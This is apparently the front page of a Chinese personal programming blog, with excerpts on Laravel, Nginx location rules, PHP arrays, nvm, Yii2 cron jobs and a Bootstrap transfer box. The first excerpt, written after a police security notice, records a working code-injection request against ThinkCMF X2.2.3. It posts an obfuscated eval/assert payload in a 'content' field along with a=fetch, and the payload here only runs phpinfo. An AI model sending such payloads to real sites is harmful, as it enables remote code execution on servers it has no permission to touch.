Peak Xin

小峰的博客


  • 首页

  • 标签

  • 分类

  • 归档

  • 优秀资源

  • 搜索

记录 ThinkCMF 框架 X2.2.3 版本漏洞发现与解决

发表于 2023-03-23 | 分类于 网络安全 |
字数统计: 467 | 阅读时长 ≈ 1

接到网警通知,说网站有安全漏洞,根据网警提供的检测报告,经过各种尝试,终于复现了,现在记录这一激动人心的时刻

网站是基于ThinkCMF框架搭建的,查看版本是X2.2.3,根据网警提供的检测报告在postman工具上操作复现漏洞情况

  • 使用POST方式请求首页链接地址
  • 使用form-data提交参数
  • 参数content=<php>die(assert('ev'.'a'.'l("'.'e'.'va'.'l(bas'.'e64_de'.'code(\"cGhwaW5mbygpOw==\"));;return 1;")'))</php>
  • 参数a=fetch

点击发送,看看结果,意不意外惊不惊喜!

阅读全文 »

Laravel 模型关联查询已物理删除的数据设置默认值

发表于 2023-03-16 | 分类于 PHP框架 , Laravel |
字数统计: 271 | 阅读时长 ≈ 1

在使用Laravel模型关联数据时,会遇到关联查询到的数据已被删除,会导致查询结果为null

1
2
3
4
5
.......
"created_at": "2023-02-15 16:01:40",
"updated_at": "2023-02-15 16:03:22",
"category": null,
.......

如果想要保证查询结果不会出现null,可以使用 Laravel 的「Eloquent」 ORM 中的「withDefault」方法来设置默认值。例如:

阅读全文 »

Laravel安装laravel-wechat实现微信授权登录

发表于 2023-02-22 | 分类于 PHP框架 , Laravel |
字数统计: 273 | 阅读时长 ≈ 1

使用composer安装laravel-wechat

1
composer require "overtrue/laravel-wechat"

如果需要安装指定版本

  1. 安装不超过4.0的版本最新版本
1
composer require "overtrue/laravel-wechat:~4.0"
  1. 安装不超过4的版本最新版本
1
composer require "overtrue/laravel-wechat:^4.0"
阅读全文 »

Nginx配置location语法规则

发表于 2023-01-28 | 分类于 服务器 , Nginx |
字数统计: 1.7k | 阅读时长 ≈ 6

语法规则

基本语法:

1
2
3
location [=|~|~*|^~|@] /uri/ {
...
}

修饰符释义:

修饰符 释义
= 表示精确匹配后面的url
~ 表示正则匹配,但是区分大小写
~* 表示正则匹配,不区分大小写
^~ 表示普通字符匹配,如果该选项匹配,只匹配该选项,不匹配别的选项,一般用来匹配目录
@ “@” 定义一个命名的 location,使用在内部定向时,例如 error_page
/ 通用匹配,任何请求都会匹配到

上述匹配规则的优先匹配顺序:

阅读全文 »

PHP 多维数组转为树结构

发表于 2022-12-15 | 分类于 后端开发 , PHP |
字数统计: 510 | 阅读时长 ≈ 2

在项目中我们会遇到获取存在父子级关系的数组,并需要根据上下级关系以树结构的形式展示的情况

比如获取分类列表,类似如下数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$data = [
['id'=>13, 'name'=>'分类2-2-2', 'pid'=>9],
['id'=>1, 'name'=>'分类1', 'pid'=>0],
['id'=>2, 'name'=>'分类1-1', 'pid'=>1],
['id'=>3, 'name'=>'分类1-2', 'pid'=>1],
['id'=>4, 'name'=>'分类1-1-1', 'pid'=>2],
['id'=>5, 'name'=>'分类1-1-2', 'pid'=>2],
['id'=>6, 'name'=>'分类1-2-1', 'pid'=>3],
['id'=>7, 'name'=>'分类2', 'pid'=>0],
['id'=>8, 'name'=>'分类2-1', 'pid'=>7],
['id'=>9, 'name'=>'分类2-2', 'pid'=>7],
['id'=>10, 'name'=>'分类2-1-1', 'pid'=>8],
['id'=>11, 'name'=>'分类2-1-2', 'pid'=>8],
['id'=>12, 'name'=>'分类2-2-1', 'pid'=>9],
];
阅读全文 »

Linux环境安装nvm

发表于 2022-10-18 | 分类于 前端框架 , Nodejs |
字数统计: 242 | 阅读时长 ≈ 1

nvm是一个管理node多版本的工具
系统为CentOS7

  1. 下载nvm安装包

官方下载:https://github.com/nvm-sh/nvm/archive/refs/tags/v0.39.2.tar.gz

  1. 加压nvm压缩包
1
2
3
4
// 进入文件下载目录
[root@localhost ~]# cd /usr/local/src
// 解压文件到 root/.nvm
[root@localhost ~]# tar -zxvf nvm-0.39.2.tar.gz --strip-components 1 -C /root/.nvm
阅读全文 »

Yii2 创建定时任务

发表于 2022-08-30 | 分类于 PHP框架 , Yii |
字数统计: 573 | 阅读时长 ≈ 2

在我们项目开发中,需要使用定时任务来完成批处理业务,下面通过Yii2框架来实现定时任务

Yii2框架定时任务代码统一放在 ./console 目录下

简单的定时任务脚步文件

首先在console/controller目录下创建一个定时任务控制器TestController.php

阅读全文 »

Bootstrap3 实现穿梭框

发表于 2022-08-23 | 分类于 前端框架 , Bootstrap |
字数统计: 731 | 阅读时长 ≈ 4

使用 Bootstrap3 框架实现穿梭框代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- 上述3个meta标签*必须*放在最前面,任何其他内容都*必须*跟随其后! -->
<title>Bootstrap3 穿梭框</title>

<!-- Bootstrap -->
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css" integrity="sha384-HSMxcRTRxnN+Bdg0JdbxYKrThecOKuH5zCYotlSAcp1+c8xmyTe9GYg1l9a69psu" crossorigin="anonymous">

<!-- HTML5 shim 和 Respond.js 是为了让 IE8 支持 HTML5 元素和媒体查询(media queries)功能 -->
<!-- 警告:通过 file:// 协议(就是直接将 html 页面拖拽到浏览器中)访问页面时 Respond.js 不起作用 -->
<!--[if lt IE 9]>
<script src="https://cdn.jsdelivr.cn/npm/html5shiv@3.7.3/dist/html5shiv.min.js"></script>
<script src="https://cdn.jsdelivr.cn/npm/respond.js@1.4.2/dest/respond.min.js"></script>
<![endif]-->
</head>
<body>
<h1 class="text-center">Bootstrap3 穿梭框</h1>
<fieldset>
<table class="table table-bordered dchannel-table">
<tbody>
<tr class="item-default">
<td style="width: 50%;">
<select id="sel_all_area" multiple="multiple" size="10" style="width:100%;">
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
</select>
</td>
<td style="width: 50px;">
<button type="button" class="btn btn-default btn-small" id="btn_select_all_area"><span class="glyphicon glyphicon-forward"></span></button>
<button type="button" class="btn btn-default btn-small" id="btn_choose_selected_area"><span class="glyphicon glyphicon-chevron-right"></span></button>
<button type="button" class="btn btn-default btn-small" id="btn_remove_selected_area"><span class="glyphicon glyphicon-chevron-left"></span></button>
<button type="button" class="btn btn-default btn-small" id="btn_remove_all_area"><span class="glyphicon glyphicon-backward"></span></button>
</td>
<td style="width: 50%;">
<select id="sel_selected_areas" multiple="multiple" size="10" style="width:100%;">

</select>
</td>
</tr>
</tbody>
</table>
</fieldset>

<!-- jQuery (Bootstrap 的所有 JavaScript 插件都依赖 jQuery,所以必须放在前边) -->
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.min.js" crossorigin="anonymous"></script>
<!-- 加载 Bootstrap 的所有 JavaScript 插件。你也可以根据需要只加载单个插件。 -->
<script src="https://stackpath.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js" integrity="sha384-aJ21OjlMXNL5UyIl/XNwTMqvzeRMZH2w8c5cRVpzpU8Y5bApTppSuUkhZXN0VxHd" crossorigin="anonymous"></script>

<script>
$(function(){
var all_area = $("#sel_all_area"), selected_areas = $("#sel_selected_areas");
$("#btn_select_all_area").click(function(){
var selectedAreaArray = [];
all_area.find("option").each(function(i){
selectedAreaArray[i] = $(this).val();
$(this).appendTo(selected_areas);
});
doSubmit('add', selectedAreaArray.toString());
return false;
});
$("#btn_choose_selected_area").click(function(){
var selectedAreaArray = [];
all_area.find("option:selected").each(function(i){
selectedAreaArray[i] = $(this).val();
$(this).appendTo(selected_areas);
});
doSubmit('add', selectedAreaArray.toString());
return false;
});
$("#btn_remove_selected_area").click(function(){
var selectedAreaArray = [];
selected_areas.find("option:selected").each(function(i){
selectedAreaArray[i] = $(this).val();
$(this).appendTo(all_area);
});
doSubmit('del', selectedAreaArray.toString());
return false;
});
$("#btn_remove_all_area").click(function(){
var selectedAreaArray = [];
selected_areas.find("option").each(function(i){
selectedAreaArray[i] = $(this).val();
$(this).appendTo(all_area);
});
doSubmit('del', selectedAreaArray.toString());
return false;
});
})

function doSubmit(select_type, key){
console.log(`更新 类型: ${select_type}, KEY: ${key}`);
}

</script>
</body>
</html>

Laravel 缓存操作

发表于 2022-04-29 | 分类于 PHP框架 , Laravel |
字数统计: 459 | 阅读时长 ≈ 1

Laravel为不同的缓存系统封装了统一的API,缓存配置文件./config/cache.php

主要的缓存类型(驱动)

  • file - 文件,默认使用
  • memcached - memcached
  • redis - redis
  • database - 数据库

默认laravel支持缓存介质:apc, array, database, file, memcached, redis

在配置文件.env中修改驱动类型

阅读全文 »

Laravel 表单验证 validate 规则参数

发表于 2022-04-28 | 分类于 PHP框架 , Laravel |
字数统计: 1k | 阅读时长 ≈ 4

简单的表单验证1

1
2
3
4
5
6
7
8
9
10
public function store(Request $request)
{
// request() 与 $request等同
$this->validate(request(), [
'title' => 'required|string',
'content' => 'required|string',
]);

// 验证通过
}
阅读全文 »
123…20
Peak Xin

Peak Xin

Always keep a learning heart.

197 日志
41 分类
111 标签
RSS
GitHub E-Mail Twitter StackOverflow GitLab Travis Gitee SegmentFault CSDN
推荐网址
  • 阮一峰的个人网站
  • 廖雪峰的官方网站
  • 韩天峰(Rango)的博客
© 2025 Peak Xin 鲁ICP备15013472号-3
由 Hexo 强力驱动
|
主题 — NexT.Mist v5.1.4
本博客 由 Peak Xin 采用 知识共享 署名 4.0 国际 许可协议进行许可。
站点总访客数: 站点总访问量:
0%